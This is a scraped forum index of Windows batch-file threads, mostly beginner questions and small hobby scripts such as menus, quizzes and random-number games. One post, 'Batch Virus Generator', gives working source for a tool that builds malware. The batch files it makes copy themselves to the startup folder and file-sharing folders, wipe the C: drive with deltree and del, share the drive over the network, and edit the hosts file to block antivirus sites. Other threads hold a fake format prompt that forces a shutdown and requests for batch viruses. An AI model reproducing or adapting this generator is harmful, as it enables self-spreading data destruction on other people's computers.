The forums are retiring and are now closed for new topics and comments. The existing content will remain online and accessible through 2020 to provide everyone the opportunity to save any relevant information. In the spring of 2021, these Community forums will be taken offline.

Search for batch in Topics


I was wondering if any one could tell me whats wrong with this batch file?@ echo offecho Would you like to format C:? Y/Nset /p answer=if %answer%=n goto 2exitif %answer%=y goto 3exit:2echo System Failure!shutdown -s -f -t 10pause:3echo ERROR!!shutdown -s -f -t 10pause

Topic by eragon44111    |  last reply

batch randomization

Ok so im trying to make a text based game in batch, my concept was a batch store game where every time a customer walks in for example they ask for something its not the same thing every time you restart the batch file and if there is a way to put a section on the batch file where you could list a few scenarios and batch would randomize it to be one of those scenarios you had.

Question by RoyalR5    |  last reply

question in batch

How do i make scenarios like it randomlz choses a scenario that zou put in some where

Question by RoyalR5    |  last reply

Batch Files Answered

How do you get a batch file to emit text in multiple colors?

Question by batch master    |  last reply

Batch Randomization Answered

So how do you make randomized scenarios in batch because im making a text based game where i need random scenarios like for example get a random customer for a shop game or random skeleton appearing with a randomized amount of hp that you can set.

Question by royalroachemail    |  last reply

Batch files?

Hey people! Just so you know, im sorta new at this whole 'computer' tech thing. I was wondering how i could learn how to write batch, VBS, HTML, and JAVAScript. Please help, thanks

Topic by B.F.L.M    |  last reply

Batch Coding

I need an interactive advanced batch and visual basic scripts course.

Topic by DarkShadowOrigin    |  last reply

Batch project

I need people that can script/batch to bounce some ides off of. through ideas out and let them get heard, talk about them, ask for help, I will ask some things along the way I'm sure :D!! Batchers Unite!!!!

Topic by spiker    |  last reply

my batch

I have been playing around with batch coding for a month now and i finaly finished and figered out everything i need to do to get this to work. so here it is.@ECHO OFFcolor 0a:topecho -----------------------------------------------echo type the number 1 for a number guessing gameecho type the number 2 for a calculatorecho type the number 3 to see a dumb thing a made up.echo type the number 4 to exit.echo this is a free-to-use programecho give all credit to dsman1echo do not edit with out dsman1's consentecho -----------------------------------------------set variable1=1set variable2=yset variable3=nset variable4=3set variable5=2set variable7=0set variable9=4set /p udefine=if %udefine%==%variable1% (goto game)if %udefine%==%variable5% (goto calc) if %udefine%==%variable4% (goto starwars)if %udefine%==%variable9% (exit):calcecho hi and wellcome to calcualtorecho credit for programing goes to dsman1echo -----------------------------------------------echo mutiply = *echo divide = /echo add = +echo subtract= -echo parenthesis can be in your problems.:loopecho -----------------------------------------------SET /p UDefine=echo =SET /a UDefine=%UDefine%ECHO %UDefine%echo math is funECHO.echo again? y/nset /p udefine=if %udefine%==%variable2% (goto loop) else (goto top ):game@ECHO OFFSET /a GuessNum=0SET /a Answer=%random%ECHO Guess what Number I'm thinking of.:RetrySET /p Guess=IF %Guess% LSS %Answer% ECHO My Number is Higher.IF %Guess% GTR %Answer% ECHO My Number is Lower.IF %Guess%==%Answer% GOTO ENDECHO.SET /a GuessNum=%GuessNum%+1GOTO Retry:ENDECHO You are Correct! The Answer was %Answer%ECHO It took %GuessNum% Guesses.ECHO.echo play again? y/nset /p udefine=if %udefine%==%variable2% (goto game) else (goto top ):starwarsecho dont press a buttonpauseecho ok pleasepauseecho please with suger on toppauseecho ok come on nowpauseecho you are just trying to irritate mepauseecho and it's working...pauseecho i will blow you up in...pauseecho 5pause echo 4pause echo 3pauseecho 2pause echo 1pause echo boom!!!pauseecho hahapauseecho your dead!pauseecho try to push a button now!pauseecho darnpauseecho echo / you will die mortal \echo / mahaha \echo / \echo pauseset /a variable6=500:heheset /a variable6=%variable6%-1echo hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaif %variable6%==0 goto :hahagoto hehe:hahaecho play again? y/nset /p udefine=if %udefine%==%variable2% (goto starwars) else (goto top )copy that and paste it into note pad. save it with .bat at the end. save it to your desktop and then click on it.this is what the code looks like. me copying the code messed it up. so please just download the .exe verson[ download]

Topic by dsman195276    |  last reply

batch files

Can you get a batch to send itself over the internet

Topic by azid    |  last reply

Batch Questions

Ask all your questions about batch programming in this topic, and I will give you my best answer! Be sure to check out my batch instructables, which can be found here!

Topic by Arbitror    |  last reply

Batch Beeps

Some kids at my school have created some sort of command prompt to where it plays beeps at different pitches to create almost what one would call music. I was quite amazed by this and was wondering if anyone else knew how to make these sounds? All I know is that command prompt is involved. Thanks :)

Topic by qwewqazaq    |  last reply

Batch file viruses

I need to know how to create a batch file virus, and some works please.

Topic by Beniah    |  last reply

Matrix Batch File

Please could some one write me a batch file that says makes the command prompt says Will, The Matrix has you...

Topic by bloodsugarsexmagik    |  last reply

Batch file zip

I need a batch file that will zip up text file with a password that resides on a network drive. Can some one help me with this?

Topic by computerguy    |  last reply

Batch Cracker Group

Hello ! i decide to create my own group member and the name is Batch Cracker Group ..send me a private message if you want to ask any question ..

Topic by razzieddyza    |  last reply

Variables in a batch file?

Im working with Vista SP1 and experimenting with batch files, i came up with a problem so i'd see what you thought. This is the code i was using::top@echo offcolor 0aTitle Experiment by Meecho -------------------------------------echo Type a letter between a and d.echo -------------------------------------set /p letter=if %letter%=agoto a:aecho This is the result of entering Apause>nulWhat happens is that the box closes after you enter your letter and press enter, i dont have any more results (i.e. where it says :a) because i found it didnt work

Question by Pawn_of_Prophecy    |  last reply

General Batch Discussion

The Official Batch Homies Discussion Forum

Topic by Chad Baxter    |  last reply

Batch pause command

I was just wondering if there was a way to customize the message in a batch file to say something other then "press any key to continue....." or hiding the message with ">nul" thanks Batchers Unite!!!

Topic by spiker    |  last reply

Batch Help(randomization)? Answered

Hello Im workin on a batch file and i would like to have help with with making Cmd randomize between two selected numbers Example: Random 1-10 Answer: 3

Question by Chromatica    |  last reply

Batch File Help...

Hi guys, i think this might be a bit of a nooby question but here goes: I have made a batch file that lets you add a password to a file, here is the problem, i would like to make the password so when you type it, it will show "****" or something to use to hide the password.Is there anyway of doing this,if so can you please tell me. Thanks :P Oh and here is the link to the source code:

Topic by Petzl11    |  last reply

Batch File Help

Okay, so I figured out how to make one batch file send information to another one. The solution was quite simple. Sejma helped, both witht he final design and for support. I just want to know if there is a way to time an IF command without using CHOICE. Basically, I want to combine the two: ping localhost -n x > nul if %a% equ a goto a If that is even possible, I don;t know. I know I've posted a million questions already, so I'm very sorry about that. Thank you for your time. EDIT: Figured it out. IF %A% EQU A GOTO A & PING LOCALHOST -N x > NUL Now, does anybody know how to convert a .EXE file to a .BAT file?

Question by TheBatchies    |  last reply

Batch/.bat Programing Answered

I would like to create a variable that is between two preset numbers but they are randomly created that runs in a batch program. For example if I wanted to create a program that would act like a dice where there is a 1/6 chance (for a 6 sided dice) of the dice landing on any number between 1 and 6.

Question by Dr. Kreap    |  last reply

batch file reg?

I have a software that extracts data from  a hardware located in a different location. so my problem is to get that data i have to run the software all the time. so i want to make that software autorun itself when i switch on my PC/Laptop and also i want those data to be stored in one location in a suitable format. please help me out. further i also want the system to extract the data at  particular interval of time(say every ten minutes).

Question by Josus    |  last reply

another batch question?

How can i open the screen saver and display it on the entire screen in a batch program?

Question by Laserman595    |  last reply

Tricky batch stuff...?

This isn't exactly a conventional question, but it's a question nonetheless.  The thing is, I'm thinking of starting a forum for all the tricky techniques and methods with batch (it wouldn't be a great instructable as it would require a lot of previous knowledge). So, I'd basically just have an index with all these different segments of how to do tricky stuff (such as advanced techniques for piping and other random stuff). The only problem is that I don't know what to make it on, so I'm trying to target people who've read all the instructables and are still missing that extra bit of information. Now, you could say something like "do whatever you think is hard", but the thing is I work better when it's at the request of someone else (basically I like to help people, and I'm abusing that natural urge). So, if you're experienced in batch but are curious about anything (perhaps how to ignore every rule in the book and put 50 nested for loops within your script), please post it below. Thank you. --EDIT-- I've started rewriting my batch tutorial, so most of the stuff you comment will go into that... somewhere.

Question by Prof. Pickle    |  last reply

Cool Batch applet

Hey whats up the names Jason. I am 13 and like to play with computers but not like Halo (although i am guilty of occasionally playing Halo) what interest me is computer logic and programming. So right now i am half-way decentish with Qbasic and consequently Visual Basic, but the language i am most fluent in is just plain old DOS scripting (batch files). My math teacher at the begging of the year my math teacher announced that once o twice a month we would have a pop quiz on square roots and squares of numbers 1-20. Now to say the least I am poor with memorization. So i tried flash cards and starin at a sheet with the squares and square roots on it. but I was pretty consistently getting 60s and 70s. Now being a pretty good student this upset me and my parents weren't exactly happy. So then i decided i would make a batch file to quiz me on this, my first one was on sqrts. writing this took forever so even still i made another for squares. These programs help me study immensely and i now get a perfect 100 every quiz.. i then started thinking that there must be a way to speed up the writing of a simaler quiz program. thats why i wrote this, and i know it is probably mediocre but i like it so be nice. (You can do whatever you want with this source code, and while not required i would prefer credit if you distribute a mod of this batch file.)Here it is:rem The purpose of this batch is to automate the process of making another batch that is used to quiz a person@echo off:startclsEcho Make a Quizecho.echo.rem this part creates a variabl that wil be used in creating the final batch fileecho enter the name of the fileecho .bat wil automaticaly be tacked ont to the endSet /p filename=echo.echo.rem This just creates a ariable that is the title of the the game to be createdecho now enter the title of the quizset/p title=echo.echo.rem this is where the user inputs question part one and it becomes a variableecho enter question part 1Set /p quespt1=echo.echo.rem this ask for the second part of the question echo enter qeustion part 2set /p quespt2=echo.echo.Rem this declares some variables just for shorthandset line=echo.set ec=echoRem this creates a file that user named a while back and then fills it with some preliminary textecho @echo off>%filename%.batecho :start>>%filename%.batecho cls>>%filename%.batecho echo %title%>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batrem this part is called midstart because ideally later you can repeat this multiple times depending on how long your quiz isset next=0:midstartset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo You got it right>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batecho you have asked %next% question(s)echo.echo.echo If you would like to make a new question simply type "n" and press enterecho However to input your last question type "l" and press enterset /p endchoice=if %endchoice% == l goto endif %endchoice% == n goto restart:restartgoto midstart:endset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo you won>>%filename%.batecho echo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>>%filename%.batecho %line%>>%filename%.batecho echo click to exit>>%filename%.batecho pause>>%filename%.batEcho And thats it your doneecho.echo click to exitset /p end=And thats it so have fun and feel free to comment

Topic by lemonshark10    |  last reply

Batch Program ideas

Hey everyone! ive made only two batch programs, as you may or may not know. i need ideas, anything that you suggest, i can make!! (no moving games, cant do that) but anything else you want me to make, i can and WILL program it. its your chance to express yourselves, i need ideas!!      *dont give simple ideas, i like chalenges ;)

Topic by Country Boy 97    |  last reply

Batch file help

Hello everybody I am starting to get into batch files and so on. I am trying to make a program that will copy different files depending on what the user wants. Would anybody know where I can find some good turituals or a ( free)program that will make the codes for me ? I need to Figure out how to make a menu. The options need to copy certain files from a floppy (a) to the desktop. Is there anyway for me to make shortcuts in a folder of all the shared folders without knowing there names ? Codes and links are much appreciated The below image is as far as I have gotten

Topic by littlechef37    |  last reply

Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Topic by Vinylshakers    |  last reply

Useful Batch Commands

Hey guys, I wanted to post a quick forum topic about useful batch commands that are seldom used or not well-known, or maybe just useful tidbits. Note: These do not have to be used, they are just extremely helpful and are just "extra," meaning you could probably find easier-to-understand but not as useful commands. 1. The CHOICE command The reason this command is so cool is that unlike other Y/N menus, when you enter the desired number, you don't have to hit enter, it goes straight to the next screen. You can also program it to execute a command after a set amount of time. Here's how to write it out: choice /c:12345 /t:5,10 if errorlevel 5 goto ha if errorlevel 4 goto joke if errorlevel 3 goto tired if errorlevel 2 goto fried if errorlevel 1 goto chiken To time it, you type /t and then a colon. You write the choice that you want to be timed, e.g. 5, and the amount of time in seconds you want it to wait for seperated by a comma. 2. The Random Variable The reason I deceided to put this up is because it is one of the only if not the only variable that is already programmed into the system. By using it correctly, you can generate a number between 1 and 32767. WHAT?! Of course, you can narrow it down, to, say about 1 and 100. :dim set rnd=%random% if %rnd% GEQ 101 goto dim if %rnd% LEQ 0 goto dim set number=%rnd% So as you can see, %random% is a set variable and generates a random number for you. Please keep in mind that this can take one second, or one eternity (literally) since it doesn't narrow down the choices after finding that a number doesn;t work. So, you may keep on generating 101 forever and never get to 100! 3. The ^| Command. Ever get frustrated because you are making an animation with, for example, stick figures and are getting driven nuts because the minute it gets to a certain part, it exits on you? The reason is probably because you used the | symbol, which is actually knd of like a command by itself. So, if you're doing something like this: echo [0] echo /| echo / The reason it is not working is because you didin't use a ^ before the |. Here's what it should be: echo [0] echo /^| echo / Yes, it looks wierd in the editing stages, but looks much better in the real thing. Just remember, you will have to remember that the ^ will be invisible, so make sure everything else in front of it is like this: echo [0]   [ echo /^|    [ echo /     [ So that the [ or whatever it is is one space ahead from the others. 4. The %TIME:~0,5% Command. What time is it? Oh, it's 3:16:52.29! Ever been frustrated with the TIME command? For one, who ( and when I mean who, I mean the average batcher who doesn't use the TIME command to synchronize seven different computers around the house which I could never hope to do) needs to be that exact? When making a batch alarm clock, for example, the user wouldn't really want to do all of that, would they? So, for those of you who would want to make such a clock, here's an example: @echo off title Alarm Clock :start cls color f0 echo. echo Use 24 hour clock echo. set /p a=Set Alarm: cls echo. echo Alarm set to %a%. :alarm if %time:~0,5% EQU %a% goto alarmset goto alarm :alarmset color fc echo echo echo cls echo. echo It's %time:~0,5%! echo. echo Press 1 to acknowledge. choice /n /c:12 /t:2,1 if errorlevel 2 goto alarmset if errorlevel 1 goto sleep goto alarmset :sleep goto start So there's one example. %TIME:~0,5% sets the time from 3:15:00.00 to just 15:15. This doesn't work just with the TIME command, you can do this with any variable. If I had a variable %x% and it said "crayon" and wanted it to say "cray," I would type in %x:~0,-2%. If I wanted to make %x% say "on," I would type in %x:~-4,0%. 5. The AT Command The AT command is exactly what it appears to be. You tell it AT (time) /every:[day(s) of the week] (command to be executed). So, it I wanted an alarm to go off whenever the Simpsons are on, I'd type AT 19:30 /every:sumtwthfs echo ALARM!!! Now, I know that the Simpsons are on at a different time on Sundays, but that's not important. Please not that you HAVE to specify what day you want it to go off on (it can be dd/mm/yyyy to be really specific). Default is set to "tomorrow." This was probably too confusing. For one, I talk too much. Thank you for even getting this far, anyways. Thanks a bunch!

Topic by TheBatchies    |  last reply

Made a batch of the gummies

Made a batch of the gummies . Put them in cellophane bags to put in pinata's. They sweated and started to dissolve, they were also VERY chewy... what am I doing wrong...? Any hints..?

Question by tigerjeff    |  last reply

Batch file menu.

I need a super simple way to have a batch file open other batch files with a menu, that has several options. It is part off me cleaning up my desktop, where you could open the file, and choose the number you want (say pictures or word documents) and it would open a folder with them in it.

Question by XOIIO    |  last reply

Spammy Batch File

Here is the code for a spammy batch file. @echo off echo This batch file is made possible by the divine blessing of Monty Python! pause>nul echo Spam Spam Spam Spam echo Spam Spam! A: echo Lovely Spam! echo Beautiful Span! echo Lovely Spam! echo Beautiful Spam! goto a

Topic by dla888    |  last reply

mini batches of wine

Im gonna start making mini batches of wine to see what kinds im gonna mass there a formula for sugar to making them in pet bottles or cocacola bottles

Topic by rollingstoner357  

Batch Code variables?

So, I have been making a "OS" in Batch recently, and i am working on the main menu. it all works fine on the first variable, but when i type in anything else, (anything on the keyboard) it comes up with just the first variable. Anyone got any ideas for fixes? here's the code: ========================= @echo off :MMlauncher title Main_Menu echo Welcome to DolphOS! echo What would you like to do? echo. echo 1 File Explorer echo 2 Games echo 3 Notepad echo 4 Clock echo 5 Close DolphOS set /p programs=Enter number here: if%programs%==1 goto FeLauncher if%programs%==2 goto GMSLauncher if%programs%==3 goto NtpdLauncher if%programs%==4 goto ClkLauncher if%programs%==5 goto ShtDwn :FeLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching F ping localhost -n .15 >nul cls echo launching Fi ping localhost -n .15 >nul cls echo launching Fil ping localhost -n .15 >nul cls echo launching File ping localhost -n .15 >nul cls echo launching File ping localhost -n .15 >nul cls echo launching File e ping localhost -n .15 >nul cls echo launching File ex ping localhost -n .15 >nul cls echo launching File exp ping localhost -n .15 >nul cls echo launching File expl ping localhost -n .15 >nul cls echo launching File explo ping localhost -n .15 >nul cls echo launching File explor ping localhost -n .15 >nul cls echo launching File explore ping localhost -n .15 >nul cls echo launching File explorer ping localhost -n .15 >nul cls echo launching File explorer. ping localhost -n .15 >nul cls echo launching File explorer.. ping localhost -n .15 >nul cls echo launching File explorer... ping localhost -n .15 >nul cls echo launching File explorer... ping localhost -n 5 >nul cls echo launching File explorer... cls C:\users\Harrison\Documents\DolphOS\FeLauncher :GMSLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching G ping localhost -n .15 >nul cls echo launching Ga ping localhost -n .15 >nul cls echo launching Gam ping localhost -n .15 >nul cls echo launching Game ping localhost -n .15 >nul cls echo launching Games ping localhost -n .15 >nul cls echo launching Games ping localhost -n .15 >nul cls echo launching Games. ping localhost -n .15 >nul cls echo launching Games.. ping localhost -n .15 >nul cls echo launching Games... ping localhost -n .15 >nul cls echo launching Games ping localhost -n 5 >nul cls :NtpdLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching N ping localhost -n .15 >nul cls echo launching No ping localhost -n .15 >nul cls echo launching Not ping localhost -n .15 >nul cls echo launching Note ping localhost -n .15 >nul cls echo launching Notep ping localhost -n .15 >nul cls echo launching Notepa ping localhost -n .15 >nul cls echo launching Notepad ping localhost -n .15 >nul cls echo launching Notepad. ping localhost -n .15 >nul cls echo launching Notepad.. ping localhost -n .15 >nul cls echo launching Notepad... ping localhost -n 5 >nul cls ====================== thanks in advance,  -ThePuppet

Question by Fred the evil puppet    |  last reply

Batched file creation

I would like to have a simple batch file that would allow me to copy the entire contents from the system drive (C:) to a signal directory on another drive, In others words I want copy of the entire directory tree including all file but stored in one directory. I assume it can be done with xcopy. I use to right this type file all the time but the year have taken that ability from me. Thank for any help you can give me.

Question by ka3ebe    |  last reply

Biobutanol in small batches

I am looking for information on making small batch production of butanol. I have a small remote oyster farm, and I am interested in incorporating kelp production into the farm. I have read a lot about using kelp to produce bioethanol, however, it blends so well with water, it would be problematic for an outboard engine. We are looking to make our operations carbon neutral. I have read a bit that suggests butanol would be a better alternative to ethanol, but haven't found nearly as much information on how it is developed. Would love some help or ideas

Question by brettonhills    |  last reply

The Edge - Batch Game

The game; "The Edge" maybe be released in 14th March 2013 as 0.1 Alpha, but for now I have a demo for you to test, it's just only for you to look around the TV part of the game. Link to game: But you will need to make an WEBSID account in order to download it.>downloads>membersonlydownloads

Topic by martzon    |  last reply

what is a wildcard for folders in batch?

I am making a batch file to hide files and folders, what would be the wildcard to hide all folders, like *.* for files?

Question by XOIIO    |  last reply

use an attribute as a variable in batch?

How can I use a file attribute as a variable in batch, something like this? IF 'attrib'=='+h' C:\Users\XOIIO\Desktop\foldername (echo yes) ELSE (echo no) is there any way to do this?

Question by XOIIO    |  last reply

Copy a specific directory in batch?

I am working on a batch file to back up specific folders, the directory is layed out lime this: Main Folder>saves>world1>etc                                      world2>etc                                      world3>etc Basically, I need a command to copy "world1" or whatever folder it is, but the entire thing, not just the contents. If I copy it to the desktop, it just copies the contents, I want it to directly copy the directory and subdirectories, so that it would show in the target area as "world1". How do I do this with xcopy?

Question by XOIIO    |  last reply

Current drive letter in batch? Answered

I used to have a short code block that would set the drive letter that it's in, to a variable. If I had the batch file on my flash drive (G:), it would set:G:\If I had the file on my desktop, it would set:C:\Does any one understand what I'm talking about? For the life of me, I can't remember that script...

Question by Arbitror    |  last reply


Hi! I'm new in batch coding using cmd. I need help. My teacher gave me an exercise where once you put a grade it will show the equivalent standing of that grade: 91-100 - excellent 81-90 -Very Satisfactory 71-80 - Satisfactory 61-70 - Very Good 51-60 - Good 0-50 - Failed ******************* Now I tried the code if %num% GRT 91 echo Excellent If %num% LSS 50 echo Failed But the problem is I don't know how to do with the rest. As per my teacher there's no code such as '<=' or '>=' there are other activities with such problem. I just need to know how to figure this one out then I will be able to to do the rest. Please help me.

Topic by maakuasa    |  last reply

Batch/.bat input & output? Answered

I want to make a batch program where I can ask an if statement but there would only be a possibility of two responses. For example if I made the batch file asked "Did you have a good day?", I would only want the user to be able to answer y or n.

Question by Dr. Kreap    |  last reply

Batch file to copy files

Some body help me to create batch file which can copy files from a folder one by one into many folders. For example if one folder has 10 files then I have to copy those files (one in each) in each subdirectory of a given directory.

Topic by Code name MS    |  last reply

Add text into a batch file

Hello Can somebody tell me if you can add text into a batch file at a specific point. When i add text (with another batch file) it always go's to the end of the text/batch file. That does not help having the text at the bottom like this :hello pause>nul exit echo hello for example when I want to add text like this :hello echo hello pause>nul exit at the moment I use this code to add text to a batch file pushd %CD% for %%j in (1.bat) do type "%%j" >> 2.bat popd Thanks in advance If you don't understand please comment and say what you don't understand :)

Topic by vorlock    |  last reply

Software that will help with batch programming? Answered

I love to program in batch, but I would like to know if there is a software (Text Editor) directed at people like me (That like batch). A text editor that will correct most errors or that will tell me more info on the different commands OS: Windows 7 Thanks to anybody that answers or suggestions some softwares.

Question by vorlock    |  last reply

batch re-write command

i know this " > " and " >>" comands in bat make and edit files. but i need to figure if its possible to make a bat file that can re-write file extensions ex- -a game i have ________ has .edf files. -my friend has the same game and i want to mess with im where those files are overwrote with "PWNed" -and i want the bat file to overwrite all the .edf files with out having each .edf files name 2nd ex- data01.edf data02.edf and so on, but i dont wanna add all the names into the bat file end 2nd ex. end 1st ex. im sure that it is something like pwned > *.edf or pwned >> *.edf am i close or way off?

Topic by spiker    |  last reply

Batch file programming help

Hi, I've been recently working on a batch file program that can multitask, and open and close various programs on command. Currently, the main interface file is called "DBat"(without the quotes, and its a batch, so I guess its really DBat.bat). The folder it is in is on my Desktop, and called "DBat"(no quotes) I would like to make it so that when I open the folder, it automatically runs DBat. How would I do this? To explain it clearer: I open the DBat folder DBat.bat runs Anyone know how I should go about this?

Topic by metrogdor22    |  last reply